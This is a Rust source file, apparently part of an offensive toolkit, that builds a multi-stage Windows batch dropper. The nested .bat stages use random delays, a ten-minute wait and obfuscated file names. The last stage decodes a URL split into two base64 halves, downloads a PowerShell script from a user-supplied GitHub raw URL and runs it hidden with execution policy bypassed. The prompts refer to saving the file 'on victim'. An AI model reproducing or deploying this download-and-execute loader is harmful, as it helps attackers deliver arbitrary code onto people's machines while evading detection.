use anyhow::Result;
use colored::*;
use rand::{seq::SliceRandom, rng};
use std::{
    fs,
    io::{self, Write},
    path::Path,
};

use base64::{engine::general_purpose::STANDARD as BASE64_STANDARD, Engine as _};

fn prompt(prompt: &str) -> Result<String> {
    print!("{}", prompt.cyan().bold());
    io::stdout().flush()?;
    let mut buffer = String::new();
    io::stdin().read_line(&mut buffer)?;
    Ok(buffer.trim().to_string())
}

fn base64_split_encode(url: &str) -> (String, String) {
    let mid = url.len() / 2;
    let (first, second) = url.split_at(mid);
    let first_encoded = BASE64_STANDARD.encode(first);
    let second_encoded = BASE64_STANDARD.encode(second);
    (first_encoded, second_encoded)
}

fn write_payload_chain(stage1_path: &str, url: &str, output_ps1: &str) -> Result<()> {
    let mut symbols = vec![
        "测试", "測試", "例え", "例子", "示例", "示意", "探索", "神秘",
        "✂", "✈", "☎", "☂", "☯", "✉", "✏", "✒", "✇", "✈✂", "📌", "🎴", "項目", "数据", "样本", "分析",
    ];
    let mut rng = rng();
    symbols.shuffle(&mut rng);

    let s2 = symbols[0].to_string();
    let s3 = symbols[1].to_string();
    let s4 = symbols[2].to_string();
    let _f1 = symbols[3].to_string();
    let _f2 = symbols[4].to_string();
    let _f3 = symbols[5].to_string();

    let base = Path::new(stage1_path).parent().unwrap_or_else(|| Path::new("."));
    let _stage1 = Path::new(stage1_path);
    let _stage2 = base.join(format!("{s2}.bat"));
    let _stage3 = base.join(format!("{s3}.bat"));
    let _stage4 = base.join(format!("{s4}.bat"));

    // Encode URL
    let (part1_b64, part2_b64) = base64_split_encode(url);

    // === Stage 1: writes stage2.bat ===
    let stage1_contents = format!(
r#"@echo off
setlocal EnableDelayedExpansion
cls >nul
:: Sleep random 1-4 seconds
set /a RND=1+%RANDOM%%%4
timeout /t %RND% /nobreak >nul

:: Five explicit 1-second sleeps at stage 1
timeout /t 1 /nobreak >nul
timeout /t 1 /nobreak >nul
timeout /t 1 /nobreak >nul
timeout /t 1 /nobreak >nul
timeout /t 1 /nobreak >nul

echo Creating next stage...
(
echo @echo off
echo setlocal EnableDelayedExpansion
echo cls ^>nul
echo set /a RND=1+%%RANDOM%%%%4
echo timeout /t %%RND%% /nobreak ^>nul

:: Five explicit 1-second sleeps for stage 2
echo timeout /t 1 /nobreak ^>nul
echo timeout /t 1 /nobreak ^>nul
echo timeout /t 1 /nobreak ^>nul
echo timeout /t 1 /nobreak ^>nul
echo timeout /t 1 /nobreak ^>nul

echo echo Creating next stage...
echo (
    echo   @echo off
    echo   setlocal EnableDelayedExpansion
    echo   cls ^>nul
    echo   set /a RND=1+%%RANDOM%%%%4
    echo   timeout /t %%RND%% /nobreak ^>nul

    :: Five explicit 1-second sleeps for stage 3
    echo   timeout /t 1 /nobreak ^>nul
    echo   timeout /t 1 /nobreak ^>nul
    echo   timeout /t 1 /nobreak ^>nul
    echo   timeout /t 1 /nobreak ^>nul
    echo   timeout /t 1 /nobreak ^>nul

    echo   echo Creating final stage...
    echo   (
        echo     @echo off
        echo     setlocal EnableDelayedExpansion
        echo     cls ^>nul
        echo     set /a RND=1+%%RANDOM%%%%4
        echo     timeout /t %%RND%% /nobreak ^>nul
        echo     set part1={part1_b64}
        echo     set part2={part2_b64}
        echo     powershell -WindowStyle Hidden -Command ^^"
            echo       $p1 = $env:part1;
            echo       $p2 = $env:part2;
            echo       $u = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($p1)) + [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($p2));
            echo       Invoke-WebRequest -Uri $u -OutFile '{output_ps1}';
            echo       Start-Process -WindowStyle Hidden powershell -ArgumentList '-ExecutionPolicy Bypass -File {output_ps1}';
        echo     ^^"
        echo     exit
    echo   ) > "{s4}"
    echo   timeout /t 600 /nobreak ^>nul    :: Wait 10 minutes before stage 4
    echo   start "" /B "{s4}"              :: Launch stage 4 in background
    echo   exit
echo ) > "{s3}"
echo start "" /B "{s3}"                   :: Launch stage 3 in background
echo exit
) > "{s2}"

start "" /B "{s2}"                         :: Launch stage 2 in background
exit
"#);

    fs::write(_stage1, stage1_contents)?;

    Ok(())
}

pub async fn run(_target: &str) -> Result<()> {
    let stage1_name = prompt("[+] Output BAT filename (stage 1): ")?;
    let github_url = prompt("[+] GitHub raw URL of PowerShell script: ")?;
    let ps1_output = prompt("[+] Name to save .ps1 as on victim: ")?;

    write_payload_chain(&stage1_name, &github_url, &ps1_output)?;
    println!("[+] Stage 1 payload written to {stage1_name}");
    println!("[*] Chain will execute real .bat files one after the other with random jitter.");
    Ok(())
}
